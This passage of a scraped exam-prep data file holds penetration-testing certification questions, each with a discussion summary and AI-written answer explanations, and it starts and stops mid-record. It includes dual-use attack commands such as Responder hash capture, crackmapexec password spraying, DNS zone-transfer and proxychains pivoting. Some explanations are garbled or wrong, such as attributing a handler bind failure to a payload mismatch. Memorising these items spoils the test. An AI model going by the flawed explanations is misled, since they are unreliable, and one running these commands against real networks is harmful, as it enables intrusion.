", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of C (The passwords are hashed).
\nReasoning: The question states that the penetration tester accessed the database and viewed user information, presumably including passwords. The fact that the passwords retrieved from the database did not work for the application suggests that the passwords stored in the database are not the actual passwords, but rather a one-way transformation of the passwords (i.e., hashed). This means the tester is viewing the hashed passwords, not the plaintext passwords required to log in.
\n
\nWhy other options are less likely:\n
\nTherefore, C is the most likely explanation because hashing is a common security practice to protect passwords.\n
"}, {"folder_name": "topic_1_question_450", "topic": "1", "question_num": "450", "question": "During the reconnaissance phase, a penetration tester runs the following command:sudo responder -I tun0The result of the command is a list of NTLMv2 hashes. Which of the following should the penetration tester do next?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring the reconnaissance phase, a penetration tester runs the following command:
sudo responder -I tun0
The result of the command is a list of NTLMv2 hashes. Which of the following should the penetration tester do next?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is D, which the reason is that NTLMv2 includes a challenge-response mechanism, making it unsuitable for direct use in Pass-the-Hash (PtH) attacks. One user initially suggested attempting PtH, but later retracted this, acknowledging that PtH is an unauthorized access exploit and not part of the reconnaissance phase.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer D is agreed.\n
\nReasoning: The command `sudo responder -I tun0` captures NTLMv2 hashes during the reconnaissance phase. NTLMv2 hashes are challenge-response based and must be cracked before they can be reused. The next logical step is to attempt to crack these hashes using a tool like Hashcat. This allows the penetration tester to potentially recover the plaintext passwords, which can then be used for further exploitation.\n
\nWhy other options are incorrect:\n
\n In summary, cracking the hash with Hashcat is the most appropriate next step after capturing NTLMv2 hashes during reconnaissance to obtain the plaintext password.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is testing a client's infrastructure and discovers an API that provides information about the infrastructure that can be used to configure or manage the instances. The penetration tester uses this API to obtain temporary credentials used to access the infrastructure. Which of the following types of attacks did the penetration tester use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Direct-to-origin", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is that the Metadata service is used to provide temporary credentials to applications to access S3 (storage) as well as other services, potentially leading to unauthorized API access and credential acquisition.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D. Metadata service.
\nReasoning: The scenario describes a penetration tester accessing an API to obtain temporary credentials for infrastructure access. Metadata services are commonly used in cloud environments to provide instances with information about themselves, including temporary credentials. This allows applications running on the instances to access other cloud services without needing to hardcode credentials. An attacker exploiting this service to obtain these credentials is a common attack vector.
\nWhy other options are incorrect:\n
Therefore, the most appropriate answer is D, Metadata service.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is the most important for the tester to have during a physical penetration test?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Authorization form", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A - You should get appropriate permission to review the facility before doing anything else., which the reason is it is the first and most important step before any assessment.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is A: Authorization form.
\nThe most important thing for a tester to have during a physical penetration test is an authorization form. Without proper authorization, the tester's actions could be considered illegal and could result in legal repercussions. The authorization form provides documented proof that the tester has been granted permission to perform the test within the agreed-upon scope.
\nHere's why the other options are less important, although they still hold some value:\n
\n
\nReasoning Breakdown:\n
\n
\n\n
\nCitation:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is looking for insecure configurations. The tester wants to identify all hosts on the 10.0.0.0/16 network that are potentially vulnerable to an SMB relay attack. Which of the following reconnaissance commands is best for this task?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "sudo python3 Responder.py -I eth0 -i 10.0.0.0/16", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C. runFinger, which the reason is that the responder is to get NTLM hash.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI disagrees with the suggested answer of A and recommends C.
\nReasoning:
\nThe question asks for identifying hosts vulnerable to SMB relay attacks through reconnaissance. RunFinger.py is designed for vulnerability scanning and identifying services running on target hosts, which is a reconnaissance activity that can identify potential SMB vulnerabilities. Responder.py is primarily used for poisoning attacks to capture credentials, which is not a reconnaissance activity to identify potential vulnerabilities. Icmp-Redirect.py is used for network redirection attacks. MultiRelay.py is used for performing SMB relay attacks, not identifying potential vulnerabilities. Therefore, the correct answer should be C. sudo python3 RunFinger.py -i 10.0.0.0/16. RunFinger is specifically designed for identifying running services and potential vulnerabilities, aligning directly with the question's objective.
Why other options are incorrect:
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester runs the following command and obtains the output shown:![](\"topic_1_question_456/image_0.png\"/)
After preparing the penetration test report, the penetration tester runs the following commands:
rm -f 127.0.0.1.unshadow
rm -f .john/john.pot
Which of the following best explains why the penetration tester ran the last two commands?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is the file .unshadow is typically related to combining /etc/passwd and /etc/shadow files for cracking password hashes, while john.pot is the password hash file used by John the Ripper.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer is D.
\n The penetration tester ran the commands `rm -f 127.0.0.1.unshadow` and `rm -f .john/john.pot` to delete files containing password hashes and any potentially recovered passwords.
\n Here's a breakdown of why:\n
\nReasoning: The command `rm -f 127.0.0.1.unshadow` removes the file containing password hashes, while `rm -f .john/john.pot` removes the file containing recovered passwords. Therefore, the best answer is D.\n
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a penetration test, a team discovers that the Windows hosts share the same local administrator account password. Which of the following is the best remediation recommendation?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Using a multifactor authentication solution", "html": "Agree with Suggested Answer. From the internet discussion from Q4 2024 to Q1 2025, the conclusion of the answer to this question is D. LAPS would randomize the local admin for each host, which the reason is LAPS is designed to manage and randomize the local administrator account password on domain-joined computers, which enhances security by preventing the use of a consistent, easily compromised password across multiple systems.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer. The best remediation recommendation for Windows hosts sharing the same local administrator account password is: D. Using a technical solution to randomize the password per host.\n
\n
\nReasoning:\n
\nLocal Administrator Password Solution (LAPS) is designed to manage and randomize the local administrator account password on domain-joined computers. This significantly enhances security by preventing the use of a consistent, easily compromised password across multiple systems. If one host is compromised, the attacker cannot use the same credentials to access other hosts. Implementing LAPS automates password management, reducing the administrative burden and improving security posture.\n
\n
\nReasons for not choosing other options:\n
\nThe use of LAPS is specifically designed to solve the problem of shared local admin passwords and is a best practice for securing Windows environments.\n
\n\nCitation:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to launch an attack that intercepts and alters network traffic between a client and a server. Which of the following tools should the penetration tester use to perform this network attack?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Nmap", "html": "Agree with the suggested answer. From the internet discussion, the conclusion of the answer to this question is B, which the reason is that Ettercap is used for MITM (Man-in-the-Middle) attacks on a Local Area Network (LAN).
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is B. Ettercap.
\nReasoning: Ettercap is a comprehensive suite for man-in-the-middle attacks. It features sniffing of live connections, content filtering on the fly, and many other interesting tricks. It supports active and passive dissection of many protocols (even ciphered ones) and includes many features for network and host analysis. The question explicitly asks for a tool to intercept and alter network traffic between a client and a server, which is the definition of a man-in-the-middle (MITM) attack. Ettercap is specifically designed for this type of attack on a Local Area Network (LAN).
\nWhy other options are incorrect:\n
\n
"}, {"folder_name": "topic_1_question_472", "topic": "1", "question_num": "472", "question": "A penetration tester would like to conduct an on-path attack against a target system in a local network. Which of the following techniques should the tester use in order to make the tester appear to have an IP address of a trusted server?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester would like to conduct an on-path attack against a target system in a local network. Which of the following techniques should the tester use in order to make the tester appear to have an IP address of a trusted server?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "ARP spoofing", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A: ARP spoofing, which the reason is ARP spoofing is effective because it allows an attacker to intercept network traffic by associating the attacker's MAC address with the IP address of a target device. DNS spoofing would not be effective because the attacker is on-path. IP spoofing would also be ineffective because it would only work for packets sent to the target, unless an IP conflict is used the attacker wouldn't be able to receive communication from the target.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI suggests an alternative answer: A. ARP spoofing.
\nReasoning: The question asks for a technique to make the tester appear to have the IP address of a trusted server for an on-path attack. ARP spoofing achieves this by associating the attacker's MAC address with the trusted server's IP address, allowing the attacker to intercept traffic intended for the server. This is a classic man-in-the-middle attack technique within a local network. ARP spoofing is effective because it redirects traffic at the data link layer (Layer 2) by manipulating the ARP tables on the target machine and potentially other devices on the network, causing them to send traffic intended for the trusted server to the attacker's machine instead.\n
\nWhy other options are incorrect:\n
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting an assessment on a web application. Which of the following active reconnaissance techniques would be best for the tester to use to gather additional information about the application?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Using cURL with the verbose option", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B, which the reason is Burp Suite or ZAP are interception proxies, which can be used to intercept and modify the traffic between a web browser and a web server.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer B is correct.
\nCrawling URIs using an interception proxy is the best active reconnaissance technique for gathering additional information about a web application. Here's why:\n
\n Here's why the other options are less suitable:\n
\n\n In summary, an interception proxy combines URI crawling with detailed request/response analysis and active modification capabilities, making it the most effective active reconnaissance technique for web applications.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA hacker wants to exploit a vulnerability in a Bluetooth-enabled device by secretly pairing with it and gaining unauthorized access. Which of the following attack methods would be the most effective for the hacker to use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Spoofing", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is Spoofing, impersonating another device by mimicking its Bluetooth address (BD_ADDR), which the reason is it allows the attacker to trick the target device into thinking it is pairing with a trusted device, thereby gaining unauthorized access.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, A (Spoofing).
\nSpoofing is the most effective attack method for a hacker to secretly pair with a Bluetooth-enabled device and gain unauthorized access because it involves impersonating a trusted device. By mimicking the Bluetooth address (BD_ADDR) or other identifying information of a legitimate device, the attacker can trick the target device into believing it's communicating with a known and authorized entity. Once the spoofed connection is established, the attacker can bypass security measures and gain unauthorized access.
\n Here's why the other options are less effective:\n
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting a penetration test for a client that has many industrial devices. Which of the following would be the best tool for the tester to use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Censys", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. Shodan, which the reason is Shodan is a popular security search engine that allows users to search for industrial control systems, databases, and other common search queries, which aligns with the question's need to identify a search engine for these purposes.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of D. Shodan.
\nReasoning: Shodan is specifically designed to search and identify internet-connected devices, including industrial devices. This makes it the most suitable tool for a penetration tester in this scenario. Shodan indexes a vast range of devices and systems, providing valuable information about their configurations and vulnerabilities.
\nWhy other options are not the best choice:\n
In summary, Shodan is the best tool for identifying industrial devices due to its specific focus and capabilities in indexing and searching for these types of systems.\n
\n\nCitation:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester managed to access an internal Windows workstation for a target company. The tester used Mimikatz during the post exploitation of this compromised host. Which of the following would be a relevant reason for the tester to use this tool?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "When a network device was compromised and the tester wants to have persistence on the network", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is the comment simply states \"Surely it's d?\".\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI suggests a different answer than the suggested answer. The suggested answer is B, but the AI recommends D.
\nThe recommended answer is D: When the tester wants to crack and capture password hashes.
\nReasoning: Mimikatz is a well-known tool used in penetration testing for post-exploitation. Its primary function is to extract plaintext passwords, hash values, PIN codes, and Kerberos tickets from memory. This allows an attacker to gain further access to systems and escalate privileges.
\n While lateral movement (Option B) can be a *result* of using Mimikatz to obtain credentials, the direct reason for using Mimikatz is to obtain those credentials in the first place. It is a credential harvesting tool.
\nReasons for not choosing other options:
\n
\nIn summary, the most relevant reason for using Mimikatz is to crack and capture password hashes (Option D).\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester scans a website and obtains the following output:![](\"topic_1_question_482/image_0.png\"/)
Which of the following would be the best next step tor the penetration tester?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Based on internet discussions from Q1 2025, the consensus is to select answer A. The comments agree with A because the application is identified as a WordPress site, therefore WPScan is the appropriate tool to use for vulnerability assessment. It is also noted that the Robots.txt file is size 0, making it less relevant for this specific scenario.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the question and provided discussions, the AI agrees with the suggested answer A (Use WPScan).
\nReasoning: The Nmap scan output clearly identifies the target as a WordPress site. WPScan is a specialized tool designed for identifying vulnerabilities in WordPress installations. It can enumerate plugins, themes, and WordPress core versions, and then check for known vulnerabilities associated with those components. This makes it the most efficient and targeted approach for the next step in the penetration test.\n
\nWhy other options are less suitable:\n
\nIn summary, since the target is a WordPress site, WPScan is the most efficient tool for vulnerability assessment.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAn organization is required to undergo a penetration test to assess the segmentation of its network. Which of the following standards or regulations requires this type of testing?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "ISSAF", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C, which the reason is that the key word is \"required\". ISO 27001 recommends it, but it is required for PCI DSS.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is C. PCI DSS.
\nHere's a detailed explanation:
Therefore, the best answer is C. PCI DSS because it is the only option that *requires* penetration testing for network segmentation.
"}, {"folder_name": "topic_1_question_503", "topic": "1", "question_num": "503", "question": "A penetration tester ran the following command:The penetration tester successfully delivered this payload by email, and a few company users have executed it. However, reverse shell sessions are not being established. The output of the Metasploit console is the following:Which of the following is most likely causing the issue?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester ran the following command:![](\"topic_1_question_503/image_0.png\"/)
The penetration tester successfully delivered this payload by email, and a few company users have executed it. However, reverse shell sessions are not being established. The output of the Metasploit console is the following:![](\"topic_1_question_503/image_1.png\"/)
Which of the following is most likely causing the issue?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is the listener must match the payload type, and the payload configured in the listener is incorrect.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer (D) is correct.
\nReasoning: The Metasploit console output clearly indicates \"Handler failed to bind to 0.0.0.0:4444.\" This error signifies that the listener, which is responsible for receiving the reverse shell connection, is unable to bind to the specified IP address and port. This typically happens when the payload configured in the listener does not match the payload that was executed on the target machine. In this case, the listener is configured with `windows/meterpreter/reverse_tcp`, which may not be the same as the payload that was delivered and executed.
\nWhy other options are incorrect:\n
\n Therefore, the payload configured in the listener is most likely incorrect, causing the handler to fail.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is the most important to include in the scope of a wireless security assessment?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Frequencies", "html": "From the internet discussion, the consensus answer to this question is B. The comments agree with answer B because APs (Access Points) are the fundamental infrastructure. Some comments also mention that SSIDs (Service Set Identifiers) are additional and specify the names of the networks.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer B (APs).
\nReasoning:
\nThe most important element to include in the scope of a wireless security assessment is **APs (Access Points)**. APs are the hardware devices that form the foundation of a wireless network. A security assessment must identify all APs, including rogue APs, misconfigured APs, and APs with outdated firmware, to properly evaluate the wireless security posture. Without a complete inventory and assessment of APs, the assessment will be incomplete and potentially miss critical vulnerabilities.
\n\nWhile frequencies, SSIDs, and signal strengths are relevant to wireless security, they are secondary to identifying and assessing the APs themselves.\n\n
\nReasons for not choosing other answers:\n
In Summary: Access points are the cornerstone of a wireless network. Securing them inherently secures the entire wireless infrastructure.
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to send a specific network packet with custom flags and sequence numbers to a vulnerable target. Which of the following should the tester use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "tcprelay", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C. Scapy, which the reason is Scapy is a Python-based tool that allows penetration testers to craft and send custom network packets with specific flags and sequence numbers, providing extensive control over packet manipulation, making it ideal for security testing and network analysis. Other options are not correct because tcpdump is a packet capture tool, tcprelay is for TCP connection relaying, and Bluecrack is related to Bluetooth security.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer C (Scapy) is correct.
\nReasoning:
\nScapy is the appropriate tool for crafting and sending custom network packets. It allows for the precise manipulation of packet fields, including flags and sequence numbers, which aligns directly with the penetration tester's objective. It is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more.\n
\nWhy other options are incorrect:\n
\nIn summary, Scapy is the only tool listed that provides the functionality to create and send custom network packets with specific flags and sequence numbers.\n
"}, {"folder_name": "topic_99_question_2", "topic": "99", "question_num": "2", "question": "Which of the following explains the reason a tester would opt to use DREAD over PTES during the planning phase of a penetration test?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following explains the reason a tester would opt to use DREAD over PTES during the planning phase of a penetration test?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "The tester is conducting a web application test.", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. DREAD is a risk assessment model used to quantify and prioritize threats based on five factors: Damage, Reproducibility, Exploitability, Affected Users, and Discoverability, which the reason is DREAD is specifically designed for risk assessment, which helps testers systematically evaluate risks and determine the severity of potential security issues. PTES includes threat modeling as one of its phases, but DREAD is a more appropriate choice for creating a threat model.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, D.
\nReasoning: DREAD (Damage, Reproducibility, Exploitability, Affected Users, Discoverability) is a risk assessment model used to categorize, compare, and prioritize threats. During the planning phase of a penetration test, using DREAD helps in creating a threat model by systematically evaluating potential risks and their severity. This allows the tester to focus on the most critical vulnerabilities.
\nWhy other options are incorrect:\n
\n
"}, {"folder_name": "topic_99_question_3", "topic": "99", "question_num": "3", "question": "A penetration tester is performing a security review of a web application. Which of the following should the tester leverage to identify the presence of vulnerable open-source libraries?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is performing a security review of a web application. Which of the following should the tester leverage to identify the presence of vulnerable open-source libraries?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "VM", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. SCA tools, which the reason is SCA tools are specifically designed to identify vulnerabilities in open-source libraries used within an application, analyzing dependencies, checking for known security issues, and providing insights into outdated or vulnerable components, making them the best choice for detecting security risks in third-party code.
Other options like VM, IAST, and DAST are not correct because VM focuses on tracking and managing vulnerabilities, IAST is more focused on detecting security flaws in the application's own code, and DAST does not specialize in identifying issues within open-source libraries.
\nBased on the question and discussion, the AI agrees with the suggested answer, which is D. SCA.
\nSCA (Software Composition Analysis) tools are specifically designed to identify the presence of vulnerable open-source libraries within an application. They achieve this by analyzing the application's dependencies, checking for known security vulnerabilities, and providing insights into outdated or vulnerable components.
\nHere's a detailed breakdown:\n
\nReasoning Details:\nThe primary goal of a penetration tester in this scenario is to find vulnerable open-source libraries. SCA tools are specifically built for this task, offering features like dependency analysis, vulnerability database integration, and reporting on outdated components.\n
\n\nIn summary, the penetration tester should leverage SCA tools to efficiently and accurately identify vulnerable open-source libraries in the web application.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester finds that an application responds with the contents of the /etc/passwd file when the following payload is sent:![](\"topic_99_question_4/image_0.png\" "\\"image1\\"/")
Which of the following should the tester recommend in the report to best prevent this type of vulnerability?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C, which the reason is the vulnerability is likely caused by XML External Entity (XXE) injection, where an application improperly processes XML input and allows attackers to access sensitive files like /etc/passwd, and disabling external entities in the XML parser prevents attackers from exploiting this weakness.
Other opinions and the reason why other answers are not correct are:
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer C, disabling the use of external entities.
\nReasoning: The provided payload strongly suggests an XML External Entity (XXE) injection vulnerability. The payload attempts to retrieve the contents of the `/etc/passwd` file, a common target in XXE attacks. XXE vulnerabilities occur when an application improperly parses XML input and allows the inclusion of external entities. By disabling external entities in the XML parser, the application will no longer process these external references, effectively preventing the attacker from accessing sensitive files. This is the most direct and effective solution to prevent this specific type of vulnerability.
\nReasons for not choosing other answers:\n
\n
"}, {"folder_name": "topic_99_question_6", "topic": "99", "question_num": "6", "question": "A penetration tester needs to test a very large number of URLs for public access. Given the following code snippet:Which of the following changes is required?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester needs to test a very large number of URLs for public access. Given the following code snippet:![](\"topic_99_question_6/image_0.png\" "\\"image2\\"/")
Which of the following changes is required?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A: The 401 (Unauthorized) status code indicates that the request has not been applied because it lacks valid authentication credentials for the target resource., which the reason is the 401 status code directly relates to authentication failures, making the URL inaccessible without valid credentials.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI concurs with the suggested answer.
\nThe suggested answer is A: The condition on line 6.
\nReasoning: The code snippet aims to check the HTTP status code of a URL to determine public accessibility. The provided code checks if the status code is equal to 200, which indicates a successful request. However, the question specifies that the penetration tester is looking for *public* access. A 401 status code (Unauthorized) also means that the page isn't publicly accessible because it requires authentication. Therefore, the condition on line 6 should include a check for 401 status codes as well, to correctly identify URLs that are not publicly accessible. The code should be changed to identify both 200 and other status codes, 401, to determine if the page is truly publicly accessible.
\nWhy other options are incorrect:
\n* Option B (The method on line 5): The method on line 5, `requests.get(url)`, is appropriate for retrieving the HTTP status code.
\n* Option C (The import on line 1): The `requests` library is commonly used for making HTTP requests in Python, and its import is necessary for the code to function.
\n* Option D (The delimiter in line 3): The delimiter in line 3 depends on how the URLs are formatted in the file. Changing the delimiter may be needed based on the data format, but it is not as critical as handling the status code evaluation to identify if the URL is truly publicly accessible.
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a penetration test, a tester captures information about an SPN account. Which of the following attacks requires this information as a prerequisite to proceed?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Golden Ticket", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B, which the reason is a Kerberoasting attack targets Service Principal Names (SPNs) in an Active Directory (AD) environment. SPNs are unique identifiers for services running under domain accounts, and attackers abuse them to extract hashed credentials for offline cracking.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer is correct.
\nThe reasoning for choosing Kerberoasting (B) is that it directly relies on information about Service Principal Names (SPNs). Kerberoasting is an attack where an attacker requests Kerberos tickets for various services (identified by their SPNs) and then attempts to crack the password hashes associated with those service accounts offline. SPNs are essential because they tell the Kerberos authentication system which service the client is trying to access.
\nThe reason for not choosing the other options is as follows:\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhile performing an internal assessment, a tester uses the following command: crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@
Which of the following is the main purpose of the command?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C, which the reason is Password spraying attempts a single password across multiple accounts, as the script in the question uses the password \"Summer123@\" against all users in user.txt.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of C.
\nReasoning: The `crackmapexec` (now CME) tool is being used with the `smb` module, a username list (`user.txt`), and a single password (`Summer123@`) against a range of IP addresses (192.168.1.0/24). This is the definition of password spraying: attempting a single or a small set of passwords against many accounts. The aim is to avoid account lockouts, which typically occur when multiple failed login attempts are made against a single account.
\nWhy other options are incorrect:\n
\nThe command in question attempts to log in to multiple systems using a list of usernames and a single password. Therefore, the main purpose is to perform password spraying.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA tester gains initial access to a server and needs to enumerate all corporate domain DNS records. Which of the following commands should the tester use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "dig +short A AAAA local.domain", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C: dig afxr @local.dns.server script is an attempt for DNS zone transfer (AXFR), which the reason is Zone transfers retrieve all DNS records, including subdomains, IP mappings, MX (mail), and TXT records, which requires a misconfigured DNS server that allows unauthorized transfers.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer, C: dig axfr @local.dns.server.
\nReasoning:\n
Cititations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a security assessment, a penetration tester uses a tool to capture plaintext log-in credentials on the communication between a user and an authentication system. The tester wants to use this information for further unauthorized access. Which of the following tools is the tester using?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Burp Suite", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B: Wireshark is a packet capture tool that can sniff plaintext credentials from unencrypted network traffic., which the reason is Wireshark can capture and analyze network traffic, and attackers can use filters (e.g., http.authbasic, tcp.port == 21) to extract credentials from protocols like HTTP, FTP, Telnet, and LDAP.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer B is correct.
\nWireshark is a packet analyzer that can capture and inspect network traffic. In scenarios where plaintext credentials are being transmitted, Wireshark can indeed be used to capture these credentials. This is because Wireshark captures all the packets traveling through a network interface, and if the traffic isn't encrypted (e.g., using HTTPS), the data, including usernames and passwords, will be visible in plaintext.
\nSpecifically, the penetration tester can use Wireshark to sniff network traffic and use filters to find the relevant packets that contain the log-in credentials. Common filters include those targeting protocols like HTTP, FTP, or Telnet where credentials might be sent without encryption.
\nHere's why the other options are less suitable:\n
\nIn summary, Wireshark's packet capturing capabilities make it the most appropriate tool for capturing plaintext log-in credentials transmitted over a network.
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "attacker_host$ nmap -sTAgree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. ProxyChains, which the reason is it routes all traffic through a compromised host (pivoting), enabling a pentester to scan other network segments without direct detection, commonly used for internal reconnaissance and lateral movement after compromising a foothold.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer, D, is correct.
\nReasoning: Proxychains is a tool that forces any TCP connection made by any given application to follow a chain of proxies. It supports different proxy types, including HTTP, SOCKS4, and SOCKS5. In the context of penetration testing, it's used to pivot through a compromised host to reach other targets within the network. The command `proxychains nmap -sT <target_cidr>` effectively uses the compromised host as a proxy to scan the target CIDR block using Nmap with a TCP connect scan (-sT). This allows the penetration tester to enumerate through the compromised host as a relay.
\nWhy other options are incorrect:\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool:![](\"topic_99_question_48/image_0.png\" "\\"image12\\"/")
Based on the output, which of the following services provides the best target for launching an attack?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
